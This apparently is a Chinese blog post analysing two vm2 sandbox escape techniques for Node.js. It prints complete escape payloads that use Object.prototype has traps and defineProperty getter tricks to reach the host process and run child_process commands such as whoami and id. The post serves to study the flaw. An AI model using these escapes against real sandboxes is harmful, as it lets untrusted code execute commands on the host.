学习Node.js VM2 sandbox escapse

0xGeekCat · 2020-9-15 · 次阅读


前言

VM2中在版本的更迭中存在多种逃逸方法,可以参考issues;但是其中没有给出具体的分析,👇会通过几个典型的案例来分析这些代码是如何逃逸VM2沙箱

案例1

沙箱逃逸代码

"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
Object.prototype.has=(t,k)=>{
    process = t.constructor("return process")();
}
"" in Buffer;
process.mainModule.require("child_process").execSync("whoami").toString()`
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

在了解案例之前先了解👇的代码

var proxy = new Proxy({}, {
    get: () => console.log('get trap')
})

Object.prototype.has = function () { 👈 将has定义在原型链上
    console.log('has trap')
}

proxy.a → get trap
'' in proxy → has trap

在空对象target上定义get陷阱会拦截对象属性的读取,所以当访问proxy.a时,会打印出get trap

当执行'' in proxy时会被has陷阱拦截,此时虽然没有直接在target对象上定义has拦截操作,但handler对象继承自Object.prototype

回到VM2逃逸的代码,👇VM2中实际运行的代码

"use strict";

var process;

Object.prototype.has = function (t, k) {
    process = t.constructor("return process")();
};

"" in Buffer;
process.mainModule.require("child_process").execSync("whoami").toString()

**Bufferontextify.js中经过Proxy代理封装**,vm2的作者一开始并没有给vm2内部的Object 加上has trap,所以可以通过给 Object对象的原型上添加has trap

运行"" in Buffer;就会执行已经定义好的has trap

👇方便调试观察数据修改代码

# index.js
"use strict";
const {VM, VMScript} = require('vm2');
const {readFileSync} = require('fs')
const untrusted = new VMScript(readFileSync('nop.js'), 'nop.js');
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}
# nop.js
var process;
Object.prototype.has=(t,k)=>{
    t
    t.constructor
    process = t.constructor("return process")();
}
"" in Buffer;
console.log(Buffer)
process.mainModule.require("child_process").execSync("whoami").toString()

screenshot

由于proxy的机制,参数t的数据类型是function,这个function在外部,其上下文是nodejs的global,所以访问其constructor属性就获取到外部的Function,从而拿到外部的process

案例2

"use strict";
const {VM} = require('vm2');
const untrusted = `var process;
try{
    let a = Buffer.from("")
    Object.defineProperty(a, "", {
        get set(){
            Object.defineProperty(Object.prototype,"get",{
                get(){
                    throw x=>x.constructor("return process")();
                }
            });
            return ()=>{};
        }
    });
}catch(e){
    process = e(()=>{});
}
process.mainModule.require("child_process").execSync("id").toString();`;
try{
    console.log(new VM().run(untrusted));
}catch(x){
    console.log(x);
}

背景知识

JavaScript对象中存在三种不同的属性

  • 数据属性
  • 访问器属性
  • 内部属性

数据属性和访问器属性都存在[[Enumerable]][[Configurable]]特性

👇数据属性

  • [[Value]]:该属性的属性值,默认为undefined
  • [[Writable]]:是一个布尔值,表示属性值(value)是否可改变(即是否可写),默认为true

👇访问器属性

  • [[Get]]:是一个函数,表示该属性的取值函数(getter),默认为undefined
  • [[Set]]:是一个函数,表示该属性的存值函数(setter),默认为undefined

通过Object.defineProperty设置对象的访问器属性

let obj = {}
Object.defineProperty(obj, 'prop', {
    get() {
        console.log("getter1") → getter1
        return () => {return "getter2"}
    }
})

console.log(obj.prop()) → getter2

👇先执行get()输出getter1之后返回匿名函数() => {return "getter2"},当访问obj.prop时会调用匿名函数打印getter2

let obj = {}
Object.defineProperty(obj, 'prop', {
    get get() {
        console.log("getter1") → getter1
        return () => {return "getter2"}
    }
})

console.log(obj.prop) → getter2

对👆代码进行简单修改

let obj = {}
Object.defineProperty(obj, 'prop', {
    get set() { 👈 看仔细
        console.log("setter1") → setter1
        return (val) => {console.log("setter2")}
    }
})

obj.prop = 1 → setter2

执行set()打印出setter1,同时设置prop的setter为(val)=>{console.log("setter2")};执行obj.prop=1时打印setter2

了解完基础知识后分析逃逸代码

var process;
try{
    let a = Buffer.from("")
    Object.defineProperty(a, "", {
        get set(){
            Object.defineProperty(Object.prototype,"get",{
                get(){
                    throw x=>x.constructor("return process")();
                }
            });
            return ()=>{};
        }
    });
}catch(e){
    process = e(()=>{});
}
process.mainModule.require("child_process").execSync("id").toString();

screenshot 1

❌此操作过于梦幻,暂不研究